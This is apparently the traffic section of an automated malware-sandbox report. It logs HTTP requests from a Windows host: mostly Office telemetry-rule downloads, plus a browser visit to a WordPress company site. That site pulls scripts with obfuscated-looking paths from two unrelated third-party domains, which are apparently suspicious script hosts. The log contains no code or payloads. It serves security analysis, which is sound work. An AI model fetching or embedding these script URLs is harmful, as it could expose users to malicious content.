Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /services/product-design/ HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299866.0.0.0
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /2xIsQSDP8CyeXrv78zk9FGV8lZIj9SXKVc-Mpx3O5H0 HTTP/1.1Host: blacksaltys.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.8.7 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.twbcompany.com/services/product-design/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299866.0.0.0
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/08/product-design-hero.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/services/product-design/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299866.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=5.8.7 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/services/product-design/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299866.0.0.0
Source: global traffic	HTTP traffic detected: GET /SzlpnTAbCvQvG1OvfQpFvzkbU78xQAX7O1sfvzY= HTTP/1.1Host: virtual.urban-orthodontics.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.8.7 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/services/product-design/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299866.0.0.0
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /2xIsQSDP8CyeXrv78zk9FGV8lZIj9SXKVc-Mpx3O5H0 HTTP/1.1Host: blacksaltys.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/08/product-design-hero.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299866.0.0.0
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
